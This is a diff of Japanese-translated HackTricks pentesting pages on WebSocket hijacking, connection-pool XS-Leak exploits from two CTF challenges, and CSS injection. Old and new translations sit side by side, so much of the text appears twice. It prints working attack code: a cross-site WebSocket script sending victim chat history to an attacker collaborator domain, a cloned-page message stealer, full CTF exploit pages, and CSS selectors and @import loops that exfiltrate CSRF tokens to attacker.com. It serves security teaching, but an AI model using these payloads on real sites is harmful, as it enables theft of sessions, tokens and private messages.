**ツール** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を使用して、Websocketの既知の** **脆弱性** **を自動的に発見、フィンガープリンティング、検索できます。**
### Websocket Debug tools
* **Burp Suite**は、通常のHTTP通信と同様に、MitM websockets通信をサポートしています。
* [**socketsleuth**](https://github.com/snyk/socketsleuth)**Burp Suite拡張機能**は、**履歴**を取得し、**インターセプトルール**を設定し、**一致および置換**ルールを使用し、**Intruder**および**AutoRepeater**を使用して、BurpでWebsocket通信をより効果的に管理できます。
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、Node.jsで書かれたこのツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信をキャプチャ、インターセプト、カスタムメッセージを送信し、表示するためのユーザーインターフェースを提供します。
* [**wsrepl**](https://github.com/doyensec/wsrepl)は、特にペネトレーションテスト向けに設計された**対話型websocket REPL**です。**着信websocketメッセージを観察し、新しいメッセージを送信**するためのインターフェースを提供し、この通信を**自動化**するための使いやすいフレームワークを提供します。&#x20;
* [**https://websocketking.com/**](https://websocketking.com/)は、**websockets**を使用して他のWebと**通信**するための**Web**です。
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)は、他の種類の通信/プロトコルと共に、**websockets**を使用して他のWebと**通信**するための**Web**を提供します。
* **Burp Suite** は、通常のHTTP通信と非常に似た方法でMitM Websocket通信をサポートしています。
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite拡張機能** は、**履歴**を取得し、**インターセプションルール**を設定し、**マッチと置換**ルールを使用し、**Intruder**や**AutoRepeater**を使用することで、BurpでのWebsocket通信をより良く管理できるようにします。
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信を**キャプチャ、インターセプト、カスタム**メッセージを送信し、表示するためのユーザーインターフェースを提供します。
* [**wsrepl**](https://github.com/doyensec/wsrepl) は、ペネトレーションテスト専用に設計された**インタラクティブWebsocket REPL**です。**受信Websocketメッセージを観察し、新しいメッセージを送信する**ためのインターフェースを提供し、この通信を**自動化**するための使いやすいフレームワークを備えています。&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) は、**websockets**を使用して他のウェブと通信するための**ウェブ**です。
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) は、他の通信/プロトコルの種類の中で、**websockets**を使用して他のウェブと通信するための**ウェブ**を提供します。
## Websocket Lab
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)には、websocketsを使用してWebを起動するコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)で説明が見つかります。
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) には、Websocketsを使用してウェブを起動するためのコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) で説明を見つけることができます。
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**、または**cross-origin WebSocket hijacking**は、WebSocketハンドシェイクに影響を与える**[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**の特定のケースとして識別されます。この脆弱性は、WebSocketハンドシェイクが**HTTPクッキー**だけで認証する場合に発生し、**CSRFトークン**や同様のセキュリティ対策がない場合に発生します。
**クロスサイトWebSocketハイジャック**、または**クロスオリジンWebSocketハイジャック**は、WebSocketハンドシェイクに影響を与える特定のケースとして**[クロスサイトリクエストフォージェリCSRF](csrf-cross-site-request-forgery.md)**として特定されます。この脆弱性は、WebSocketハンドシェイクが**CSRFトークン**や同様のセキュリティ対策なしに**HTTPクッキー**のみで認証されるときに発生します。
攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する**悪意のあるWebページ**をホストすることでこれを悪用できます。その結果、この接続は、セッションハンドリングメカニズムのCSRF保護の欠如を悪用し、被害者のセッションの一部として扱われます。
攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する**悪意のあるウェブページ**をホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。
### Simple Attack
**websocket**接続を**確立**する際に**cookie**が**サーバーに送信**されることに注意してください。**サーバー**は、**送信されたcookieに基づいて各**特定**の**ユーザー**を**websocketセッションに関連付ける**ためにそれを使用しているかもしれません
**websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の** **ユーザー**をその**websocket** **セッション**に**関連付ける**ためにそれを使用している可能性があります
その後、**例えば**、**websocketサーバー**がユーザーの会話の**履歴を送り返す**場合、msgに"**READY"**が送信されると、**単純なXSS**が接続を確立し(**cookie**は**自動的に**送信されて被害者ユーザーを認証するため)、"**READY**"を**送信**することで、会話の**履歴を取得**できるようになります。
次に、例えば**websocket** **サーバー**がユーザーの**会話の履歴**を返す場合、"**READY"**というメッセージが送信されると、**単純なXSS**が接続を確立し(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)、"**READY**"を送信することで**会話の履歴**を**取得**できるようになります。
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -111,13 +116,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### クロスオリジン + 異なるサブドメインのCookie
### クロスオリジン + 異なるサブドメインのクッキー
このブログ記事[https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)では、攻撃者が**Webソケット通信が行われているドメインのサブドメイン**で**任意のJavaScriptを実行**することに成功しました。**サブドメイン**であったため、**Cookie**が**送信**され、**WebsocketがOriginを適切にチェックしなかった**ため、それと通信して**トークンを盗む**ことが可能でした。
このブログ投稿 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者が **サブドメイン****任意のJavascriptを実行** することに成功しました。これは **サブドメイン** であったため、**クッキー** が **送信** され、**WebsocketがOriginを適切にチェックしなかった** ため、通信が可能になり、**トークンを盗む** ことができました。
### ユーザーからデータを盗む
なりすましを行いたいWebアプリケーションたとえば.htmlファイルをコピーし、Websocket通信が行われているスクリプト内にこのコードを追加します
なりすましたいウェブアプリケーションをコピーします(例えば .html ファイル)そして、ウェブソケット通信が行われているスクリプト内にこのコードを追加します:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
@ -137,22 +142,22 @@ xhttp.send();
return messageEvent;
}
```
今、[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) から `wsHook.js` ファイルをダウンロードし、**webファイルが保存されているフォルダに保存**してください。\
Webアプリケーションを公開し、ユーザーがそれに接続するようにすると、WebSocketを介して送受信されたメッセージを盗むことができます:
今、`wsHook.js`ファイルを[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)からダウンロードし、**ウェブファイルのフォルダー内に保存してください**。\
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、websocketを介して送信および受信されたメッセージを盗むことができます:
```javascript
sudo python3 -m http.server 80
```
## レースコンディション
WebSocketsにおけるレースコンディションも存在します。[詳細を知るにはこちらの情報をチェックしてください](race-condition.md#rc-in-websockets)。
WebSocketにおけるレースコンディションも存在します。[この情報を確認して、詳細を学んでください](race-condition.md#rc-in-websockets)。
## その他の脆弱性
Webソケットは**サーバーサイドとクライアントサイドにデータを送信するメカニズム**であるため、サーバーとクライアントが情報を処理する方法によっては、**Webソケットを使用してXSS、SQLi、または他の一般的なWeb脆弱性を悪用することができます。**
WebSocketは**サーバー側とクライアント側にデータを送信するメカニズム**であり、サーバーとクライアントが情報をどのように処理するかによって、**WebSocketはXSS、SQLi、またはWebの一般的な脆弱性を利用するために、WebSocketからのユーザーの入力を使用して、他のいくつかの脆弱性を悪用するために使用される可能性があります。**
## **WebSocket Smuggling**
## **WebSocketスモグリング**
この脆弱性により、**逆プロキシの制限をバイパス**して、逆プロキシが**WebSocket通信が確立されたと信じるように**することができます(実際にはそうではない場合もあります)。これにより、攻撃者は**隠されたエンドポイントにアクセス**することができます。詳細については、以下のページをご覧ください:
この脆弱性により、**逆プロキシの制限を回避する**ことができ、**WebSocket通信が確立された**と信じ込ませることができます(たとえそれが真実でなくても)。これにより、攻撃者は**隠されたエンドポイントにアクセスする**ことができる可能性があります。詳細については、以下のページを確認してください:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
@ -162,16 +167,17 @@ Webソケットは**サーバーサイドとクライアントサイドにデー
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# 接続プールの例
# コネクションプールの例
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**や[telegramグループ](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出**してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
## Sekaictf2022 - safelist
[**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution)チャレンジでは、[**@Strellic\_**](https://twitter.com/Strellic\_)が**接続プール**技術の**変種**を使用して**XS-Leak**を実行する例を示しています。
このチャレンジでは、目標は、ボットのWebセッション内にポストが表示されるフラグを外部に持ち出すことです。攻撃者が持っている資産は次のとおりです:
* **ボット**は、攻撃者が指定した**URL**を**訪れる**
* 攻撃者は、**CSRF**を悪用して**ページにHTMLを挿入**できますただし、JSは使用できません。dompurifyが使用されています、そのHTMLで**ボットにポストを作成**させることができます。
* 攻撃者は、**CSRF**を悪用して**ボットに最初のポストを削除**させることができます。
* **ポスト**は**アルファベット順**に並んでいるため、**最初のポストが削除**されると、攻撃者のHTMLコンテンツが**読み込まれる**ということは、それが**フラグよりもアルファベット順**であることを意味します。
したがって、フラグを盗むために、@Strellyc\_が提案する解決策は、**テストする各文字**に対してボットが次のことを行うことです:
* 既知の**フラグの一部で始まる新しいポスト**を作成し、複数の**img**を**ロード**します。
* 位置**0**の**ポスト**を**削除**します。
* 255のソケットをブロックします。
* ポストを含むページをロードします
* サイトこの場合はexample.comに対してランダムなリクエストを5回行い、それにかかる時間を計測します。
{% hint style="warning" %}
**削除された**ポストが**フラグ**である場合、これは、HTMLに**挿入されたすべての画像**が**アンブロックされた**ソケットで**5つのランダムなリクエスト**と**競合**することを意味します。つまり、測定される時間は他のシナリオよりも大きくなります。
**削除された**ポストが**HTML**である場合、**5つのランダムなリクエスト**は**HTMLに対してそのソケットで競合する必要がない**ため、**速く**なります。
{% endhint %}
### Exploit 1
## Sekaictf2022 - セーフリスト
これは、[https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html)から取得したエクスプロイトコードです。
[**Sekaictf2022 - セーフリスト**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution)チャレンジでは、[**@Strellic\_**](https://twitter.com/Strellic\_)が**コネクションプール**技術の**バリエーション**を使用して**XS-Leak**を実行する方法の例を示しています。
このチャレンジの目標は、ボットのウェブセッション内の投稿に表示されるフラグを抽出することです。攻撃者が持っている資産は次のとおりです:
* **ボット**は攻撃者が指定した**URL**を**訪問**します。
* 攻撃者はページに**HTML**を**注入**できますただしJSは不可、dompurifyが使用されていますし、**CSRF**を悪用して**ボットがそのHTMLで投稿を作成**させます。
* 攻撃者はCSRFを悪用して**ボット**にウェブ内の**最初の投稿を削除**させることができます。
* **投稿**は**アルファベット順**に並べられているため、**最初の投稿が削除される**と、攻撃者の**HTML**コンテンツが**読み込まれる**場合、それは**フラグの前にアルファベット順にあった**ことを意味します。
したがって、フラグを盗むために@Strellic\_が提案した解決策は、**テストする各文字ごとに**ボットに次のことをさせることです:
* **フラグの既知の部分**で始まる**新しい投稿**を作成し、いくつかの**img**を**読み込む**
* **位置0**の**投稿を削除**する。
* 255のソケットをブロックする。
* 投稿のあるページを読み込む。
* サイトに5つのランダムリクエストを行いこの場合はexample.com、その所要時間を測定する。
{% hint style="warning" %}
**削除された**投稿が**フラグ**であった場合、これはすべての**HTMLに注入された画像**がその**ブロックされていない**ソケットのために**5つのランダムリクエスト**と**競合**することを意味します。つまり、測定された時間は他のシナリオよりも大きくなります。
**削除された**投稿が**HTML**であった場合、**5つのランダムリクエスト**は、注入されたHTMLとそのソケットを争う必要がないため、**速く**なります。
{% endhint %}
### エクスプロイト 1
これはエクスプロイトコードで、[https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html)から取得しました:
```html
<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
@ -172,7 +173,7 @@ pwn();
```
### Exploit 2
同じ戦術ですが、[https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)から異なるコードです。
同じ戦術ですが、[https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) から異なるコードです。
```html
<!DOCTYPE html>
<html>
@ -296,15 +297,15 @@ resolve(isFound)
```
## DiceCTF 2022 - carrot
この場合、攻撃の最初のステップは、CSRFを悪用してフラグが含まれるページを変更し、**コンテンツを大幅に増やす**(そのため、読み込むのに時間がかかるようにする)ことであり、その後、**接続プールを悪用してページにアクセスするのにかかる時間を測定**することでした。
このケースでは、エクスプロイトの最初のステップは、CSRFを悪用してフラグが含まれているページを**はるかに多くのコンテンツ**を持つように変更し(そのため、読み込むのに時間がかかります)、次に**接続プールを悪用してページにアクセスするのにかかる時間を測定する**ことでした。
攻撃では次のことが見られます:
エクスプロイトでは次のことが見られます:
* CSRFを悪用
* 1つを除くすべてのソケットを占有
* 応答を較正
* フラグが含まれる可能性のあるページにアクセスしてブルートフォースを開始
* 可能性のあるページにアクセスし、すぐに攻撃者が制御するURLにもアクセスして、両方のリクエストにかかる時間を確認します。
* ソケットを1つを除いてすべて占有
* 応答をキャリブレーション
* フラグがる可能性のあるページにアクセスしてブルートフォースを開始
* 潜在的なページにアクセスされ、すぐに攻撃者が制御するURLにもアクセスされ、両方のリクエストにかかる時間を確認します。
```html
<h1>DiceCTF 2022 web/carrot</h1>
@ -506,16 +507,17 @@ exploit('dice{')
}
</script>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# CSSインジェクション
# CSS Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,11 +23,11 @@ HackTricksをサポートする他の方法
***
## CSSインジェクション
## CSS Injection
### 属性セレクタ
### Attribute Selector
CSSセレクタは、`input`要素の`name`および`value`属性の値に一致するように作成されます。入力要素の値属性が特定の文字で始まる場合、事前定義された外部リソースが読み込まれます。
CSSセレクタは、`input`要素の`name`および`value`属性の値に一致するように作成されています。入力要素の値属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -39,25 +40,29 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
#### 隠れた要素へのバイパス
しかし、このアプローチは隠し入力要素(`type="hidden"`)を扱う際に制限に直面します。なぜなら、隠し要素は背景を読み込まないからです。
この制限を回避するために、`~` 汎用の兄弟コンビネータを使用して、隠れた入力要素の後続の兄弟要素をターゲットにすることができます。その後、CSSルールは隠れた入力要素に続くすべての兄弟要素に適用され、背景画像が読み込まれます。
#### 隠し要素のバイパス
この制限を回避するために、`~` 一般的な兄弟コンビネータを使用して次の兄弟要素をターゲットにすることができます。CSSルールは、隠し入力要素の後に続くすべての兄弟に適用され、背景画像が読み込まれる原因となります。
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
#### CSSインジェクションの事前条件
実際にこの技術を悪用する例は、提供されたコードスニペットに詳述されています。こちらで確認できます [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)。
CSSインジェクション技術を効果的に利用するためには、特定の条件を満たす必要があります:
#### CSSインジェクションの前提条件
1. **ペイロードの長さ**CSSインジェクションベクトルは、作成したセレクタを収容するために十分に長いペイロードをサポートする必要があります。
2. **CSSの再評価**新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。
3. **外部リソース**この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシーCSPによって制限される可能性があります。
CSSインジェクション技術が効果的であるためには、特定の条件を満たす必要があります
### 盲目的属性セレクタ
1. **ペイロードの長さ**: CSSインジェクションベクターは、作成されたセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。
2. **CSSの再評価**: ページをフレーム化する能力が必要であり、これは新しく生成されたペイロードでCSSの再評価をトリガーするために必要です。
3. **外部リソース**: この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシーCSPによって制限される可能性があります。
[**この投稿で説明されているように**](https://portswigger.net/research/blind-css-exfiltration)、セレクタ **`:has`** と **`:not`** を組み合わせて、盲目的要素からコンテンツを識別することが可能です。これは、CSSインジェクションをロードしているWebページ内に何が含まれているか全くわからない場合に非常に役立ちます。\
### ブラインド属性セレクタ
[**この投稿で説明されているように**](https://portswigger.net/research/blind-css-exfiltration)、**`:has`** と **`:not`** セレクタを組み合わせて、ブラインド要素からでもコンテンツを特定することが可能です。これは、CSSインジェクションを読み込むウェブページの中身が全く分からない場合に非常に便利です。\
また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。
```html
<style>
@ -68,34 +73,34 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
以下は、**@import** 技術を使用して、**blind-css-exfiltration** からの盲目のページからCSSインジェクションを使用して多くの情報を外部に送信することが可能です。
この技術を次の**@import**技術と組み合わせることで、**[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**を使用して、盲目的なページから多くの**情報を抽出することが可能です。**
### @import
の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に**複数のリンクを送信できる必要がある**か、**CSSインジェクション脆弱なページにiframeを挿入できる必要があります**。
前の技術にはいくつかの欠点がありますので、前提条件を確認してください。**複数のリンクを被害者に送信できる必要がある**か、**CSSインジェクション脆弱ページをiframeできる必要があります**。
ただし、**CSS `@import`** を使用して技術の品質を向上させる別の巧妙な技術があります。
しかし、**CSS `@import`**を使用して技術の質を向上させる別の巧妙な技術があります。
これは最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)によって示され、次のように機能します:
前の技術とは異なり、何度も同じページを異なるペイロードで何十回も読み込むのではなく、**ページを1回だけ読み込み、攻撃者のサーバーへのインポートだけで読み込みます**(これが被害者に送信するペイロードです):
同じページを何度も異なるペイロードで読み込む代わりに(前の方法のように)、**ページを一度だけ攻撃者のサーバーへのインポートで読み込む**ことにします(これが被害者に送信するペイロードです):
```css
@import url('//attacker.com:5001/start?');
```
1. 攻撃者から**いくつかのCSSスクリプト**を受け取り、**ブラウザがそれを読み込む**ことになります
2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーに再度`@import`**を行います
3. 攻撃者のサーバーはこのリクエストにまだ応答しません。いくつかの文字を漏洩させ、次のものを漏洩させるためにこのインポートに応答するためのペイロードを送信します。
4. ペイロードの2番目で、**属性セレクタ漏洩ペイロード**が送信されます。
5. これにより、攻撃者のサーバーには**秘密の最初の文字と最後の文字**が送信されます。
6. 攻撃者のサーバーが**秘密の最初と最後の文字**を受け取ると、**ステップ2で要求されたインポートに応答**します。
7. 応答は**ステップ2、3、4とまったく同じ**になりますが、今回は**秘密の2番目の文字を見つけ、その直前の文字**を試みます
1. インポートは**攻撃者からのCSSスクリプトを受け取る**ことになります、そして**ブラウザはそれを読み込みます**
2. 攻撃者が送信するCSSスクリプトの最初の部分は**再び攻撃者のサーバーへの別の`@import`です**
1. 攻撃者のサーバーはこのリクエストにはまだ応答しません。なぜなら、いくつかの文字を漏洩させた後に、次の文字を漏洩させるためのペイロードでこのインポートに応答したいからです。
3. ペイロードの2番目で大きな部分は**属性セレクタ漏洩ペイロード**になります。
1. これにより、攻撃者のサーバーに**秘密の最初の文字と最後の文字**が送信されます。
4. 攻撃者のサーバーが**秘密の最初と最後の文字**を受け取ると、**ステップ2で要求されたインポートに応答します**
1. 応答は**ステップ2、3、4と全く同じ**ですが、今回は**秘密の2番目の文字と次の最後から2番目の文字を見つけようとします**
攻撃者は**秘密を完全に漏洩する**まで、このループを**続けます**。
攻撃者は**秘密を完全に漏洩させるまでそのループを続けます**。
元の[**Pepe Vilaのこのコードを悪用するためのコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)で見つけることができます。または、ほぼ同じ[**コメント付きのコードはこちら**](./#css-injection)です。
元の[**Pepe Vilaのコードをここで利用することができます**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) または、ほぼ[**同じコードですがコメント付きのものをここで見つけることができます**。](./#css-injection)
{% hint style="info" %}
スクリプトは、属性セレクタを使用して次のような操作が可能なため、毎回2文字を発見しようとします先頭からと末尾から
スクリプトは毎回2文字を発見しようとします最初からと最後からなぜなら、属性セレクタは次のようなことを可能にするからです
```css
/* value^= to match the beggining of the value*/
